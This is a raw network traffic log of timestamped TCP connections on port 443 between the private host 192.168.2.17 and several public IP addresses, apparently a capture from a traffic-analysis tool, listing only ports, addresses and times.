Oct 3, 2024 17:19:57.004426956 CEST	56125	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:57.004506111 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.005089998 CEST	56125	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:57.005098104 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.005603075 CEST	443	56127	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:57.005776882 CEST	56127	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:57.005794048 CEST	443	56127	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:57.006659031 CEST	443	56127	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:57.006728888 CEST	56127	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:57.006968021 CEST	56127	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:57.007019043 CEST	443	56127	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:57.007092953 CEST	56127	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:57.007101059 CEST	443	56127	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:57.027426004 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.060523033 CEST	56125	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:57.060607910 CEST	56127	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:57.193830967 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.193929911 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.193941116 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.193977118 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.194029093 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.194156885 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.194190025 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.194220066 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.194221973 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.194232941 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.194273949 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.194288015 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.194335938 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.195003033 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.195038080 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.195066929 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.195079088 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.195099115 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.195135117 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.195147038 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.195197105 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.195894957 CEST	443	56129	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:57.196147919 CEST	56129	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:57.196181059 CEST	443	56129	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:57.196495056 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.196552038 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.197390079 CEST	443	56129	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:57.197743893 CEST	56129	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:57.197891951 CEST	56129	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:57.197902918 CEST	443	56129	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:57.197932959 CEST	443	56129	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:57.198681116 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.198942900 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.198961973 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.199506998 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.199820042 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.199928999 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.199995995 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.200614929 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.200680971 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.200732946 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.200745106 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.200793028 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.201179028 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.201226950 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.201236010 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.201248884 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.201288939 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.201298952 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.201616049 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.201659918 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.201663017 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.201674938 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.201715946 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.201718092 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.201726913 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.201773882 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.202044964 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.202095032 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.202106953 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.202254057 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.202455044 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.202467918 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.202830076 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.202888012 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.202928066 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.202928066 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.202944040 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.202965021 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.202996969 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.203008890 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.203054905 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.203250885 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.203289032 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.203308105 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.203356981 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.203376055 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.205300093 CEST	443	56130	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.205429077 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.205485106 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.205497026 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.205658913 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.205699921 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.205704927 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.205715895 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.205760956 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.206572056 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.206640959 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.206650972 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.206955910 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.207001925 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.207011938 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.207202911 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.207247019 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.207257032 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.207633972 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.207681894 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.207691908 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.207735062 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.207779884 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.207789898 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.211282969 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.211313009 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.211838961 CEST	56130	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.211853981 CEST	443	56130	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.212985039 CEST	443	56130	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.213295937 CEST	56130	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.213418961 CEST	56130	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.213469028 CEST	443	56130	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.214050055 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.214118004 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.214129925 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.247406960 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.250544071 CEST	56129	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:57.268151045 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.268163919 CEST	56130	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.461281061 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.461328030 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.461355925 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.461364985 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.461420059 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.461441040 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.461450100 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.461489916 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.461503029 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.461781025 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.461807013 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.461832047 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.461843967 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.461889982 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.462270021 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.462313890 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.462335110 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.462349892 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.462359905 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.462388039 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.463145971 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.463177919 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.463192940 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.463203907 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.463249922 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.463249922 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.463260889 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.463285923 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.463304043 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.463315010 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.463372946 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.464016914 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.464050055 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.464066029 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.464082003 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.464101076 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.464126110 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.464138031 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.464184046 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.464983940 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.465039015 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.465440035 CEST	443	56130	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.465867043 CEST	443	56130	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.465929985 CEST	56130	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.466039896 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.466097116 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.466135979 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.466140985 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.466165066 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.466207027 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.466216087 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.466772079 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.466809034 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.466814995 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.466824055 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.466861963 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.466870070 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.466974020 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.467005968 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.467048883 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.467082977 CEST	443	56129	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:57.467108965 CEST	443	56131	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.467216015 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.467256069 CEST	56125	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:57.467266083 CEST	443	56129	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:57.467315912 CEST	56129	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:57.467483997 CEST	56131	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.467514038 CEST	443	56131	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.467762947 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.467811108 CEST	443	56127	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:57.467844009 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.467863083 CEST	443	56131	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.467870951 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.467873096 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.467890024 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.467938900 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.468115091 CEST	443	56127	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:57.468175888 CEST	56127	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:57.468601942 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.468662024 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.468697071 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.468749046 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.468791008 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.468843937 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.468873978 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.468921900 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.469065905 CEST	56131	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.469135046 CEST	443	56131	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.469271898 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.469279051 CEST	56130	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.469280958 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.469300032 CEST	443	56130	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.469319105 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.469326973 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.469338894 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.469347000 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.469364882 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.469377041 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.469400883 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.469420910 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.469436884 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.469490051 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.470092058 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470130920 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470166922 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470171928 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.470181942 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470196962 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470222950 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.470232964 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470251083 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470274925 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.470285892 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470335007 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.470345020 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470557928 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.470575094 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.470858097 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470866919 CEST	56125	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:57.470871925 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.470895052 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470895052 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.470905066 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470940113 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470949888 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.470959902 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470976114 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.470999002 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.471009016 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.471045971 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.471050978 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.471060038 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.471102953 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.471215963 CEST	56131	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.471250057 CEST	443	56131	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.471318007 CEST	56129	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:57.471333981 CEST	443	56129	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:57.471817970 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.471853971 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.471868038 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.471878052 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.471894979 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.471918106 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.471927881 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.471968889 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.471978903 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.471993923 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.472023964 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.472029924 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.472040892 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.472083092 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.472640991 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.472673893 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.472691059 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.472701073 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.472714901 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.472742081 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.472752094 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.472776890 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.474683046 CEST	56127	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:57.474698067 CEST	443	56127	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:57.479638100 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.479675055 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.479697943 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.479701042 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.479726076 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.479744911 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.479839087 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.479877949 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.479883909 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.479892015 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.479923010 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.479928017 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.480387926 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.480420113 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.480433941 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.480437994 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.480479956 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.480626106 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.480667114 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.480671883 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.480927944 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.480962038 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.480967045 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.480983973 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481024027 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.481028080 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481221914 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481247902 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481262922 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.481266975 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481301069 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.481576920 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481625080 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481653929 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481662989 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.481667042 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481699944 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.481868982 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481903076 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481908083 CEST	56117	443	192.168.2.17	157.240.253.1
